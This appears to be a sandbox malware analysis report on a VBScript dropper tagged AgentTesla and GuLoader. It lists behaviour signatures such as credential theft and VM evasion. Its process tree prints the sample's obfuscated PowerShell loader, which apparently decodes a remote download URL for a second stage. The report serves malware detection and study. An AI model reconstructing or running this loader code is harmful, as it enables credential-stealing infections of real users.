Edit tour
Windows
Analysis Report
Swift_Message#1234323456.vbs
Overview
General Information
| Sample name: | Swift_Message#1234323456.vbs |
| Analysis ID: | 1430117 |
| MD5: | 78a3e500aa75424e4494cc24d8d2b1f3 |
| SHA1: | 99b288b4dc02152cedcedd4f40752d55696f8eb1 |
| SHA256: | 24220410bffece94d6ad483d61e540ee6b0fcc2d9be690d3b03d4b2b37ba07cb |
| Tags: | vbs |
| Infos: |   |
 | |
Detection
AgentTesla, GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Found malware configuration
Malicious sample detected (through community Yara rule)
VBScript performs obfuscated calls to suspicious functions
Yara detected AgentTesla
Yara detected GuLoader
Found suspicious powershell code related to unpacking or dynamic code loading
Installs a global keyboard hook
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if the current process is being debugged
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Suspicious Outbound SMTP Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses Microsoft's Enhanced Cryptographic Provider
Uses SMTP (mail sending)
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 6452 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Swift _Message#1 234323456. vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 416 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "$Forsynin gssikkerhe d = 1;$Sky devinduer1 72='Substr in';$Skyde vinduer172 +='g';Func tion Pheno lsulphonat e($Sklmsst ykkets){$H vornaar=$S klmsstykke ts.Length- $Forsyning ssikkerhed ;For($Reku rsmyndighe dens15=5; $Rekursmyn dighedens1 5 -lt $Hvo rnaar; $Re kursmyndig hedens15+= (6)){$Pala toglossal+ =$Sklmssty kkets.$Sky devinduer1 72.Invoke( $Rekursmyn dighedens1 5, $Forsyn ingssikker hed);}$Pal atoglossal ;}function Multikuns ts($Gennem skylning){ . ($diffu sionism) ( $Gennemsky lning);}$H ydrorhiza= Phenolsulp honate ' K onnMrei to Studiz Cha ri PlanlSt ryclun,ida Slger/ elv s5Bowdl.Be s f0Srgem Afski(ford uWKa itiFr ibonBogstd MopokoDrif twetagesBl odr AfpolN ForbrTSmaa v Albue1Fo rmi0M.lia. An,va0Cany o; Jern sa meW,ilvii stedenPoul a6Alcdi4Ak sel;Jum o AftrrxBesm r6Tidsf4 , ell;Spect Opercr ,or tv ycon:To mba1Salva2 De.im1 erv .Absi.0Spg el)Tinte K ugleGdrawl eInte.c,il mukSt ntoA rmsl/ Otte 2 T.ng0Res ub1Grand0D el e0Misp 1Plows0Je, ns1Feath N genFUnderi Farthrthro weCo,taf P ogooChookx talje/Have b1Ret.r2lu xur1O.set. Mng e0Exe, u ';$Digte riske=Phen olsulphona te 'Udkl,U StocsBonn beLystyr n if-.icliAP revagko on eAttranTra nctChon '; $Unbaptise =Phenolsul phonate 'G a,brhWobbl tMilietSpa tipUnds sU prob: Cock /Maal./For h dRetskrT a.rii luco vFrarae Pa rf. ForbgJ olleoCrazi o BygggFal sklRecepeF yrvr.Arm,r cWalllo Af krm Zigg/B yud.u Efte cBesgs?je. neeVandsxU nrecpSkder o,iblir Gu ,ttsuccu=U gendTilp o Reliw He nknSkraalB romoo ,eor a.ockedAre lh&InderiG risgd T.nn = Stif1 ,i gnr irlo6 Bela8fo,pe 8be,anrFo. siMYaretFD enot1A,sge EMormyK Ti l.KSt.alwS eriatHackb 1Wagge9I.f uskNut,iWT yv gaDrgli HJurymj K, stjLamp,LK ultuQTomas tspyttO it eMRenliQS, hinJ.itsth esop,-,obo teClass6Kl ike ';$Pol emiseres=P henolsulph onate 'Owl is>G und ' ;$diffusio nism=Pheno lsulphonat e ' ideoiS jakke Tru, x,arer ';$ Offtype='D anernes';M ultikunsts (Phenolsu lphonate ' AnthrSBoot eeHomeltRe ov-Do,anC Sei noSiga unKonklt G ce.eNaturn Schretom.o r Flkke- I ndtP O rea S.lemtElme th Comm Py ritTLempe: .oksa\Afta lHA.pomaSu pern Fyrad PlanlwEx g er nguliGl amot Faste vale. cac tSago x . emitFrihe Ekstr-Disc iVKitcha s iel .loduT ilste P im Dish$Beac .OOrth,f P latfte,ant DioceyOrbi tpDeranePs eud;d.cim ');Multiku nsts (Phen olsulphona te 'Anfgti Su,pffVasc u jlk(reo .ttEjdameM uldzsKatak t Parc- Dd empMaamca. remktGas r hMoist Sel T.alae:Ls et \Ski pH IsochaMyod enItalid T ituw rsmar ,rooi M c rt Uregefe rro.Manatt GeledxSalo ntC eap) . ono{Softwe tre,ix Acc ei PlantUn sha}Ollco; Spri. ');$ Overreach1 61 = Pheno lsulphonat e 'KogekeS tockcRedub hOverco er ri rh,ce%z o.elaTch,t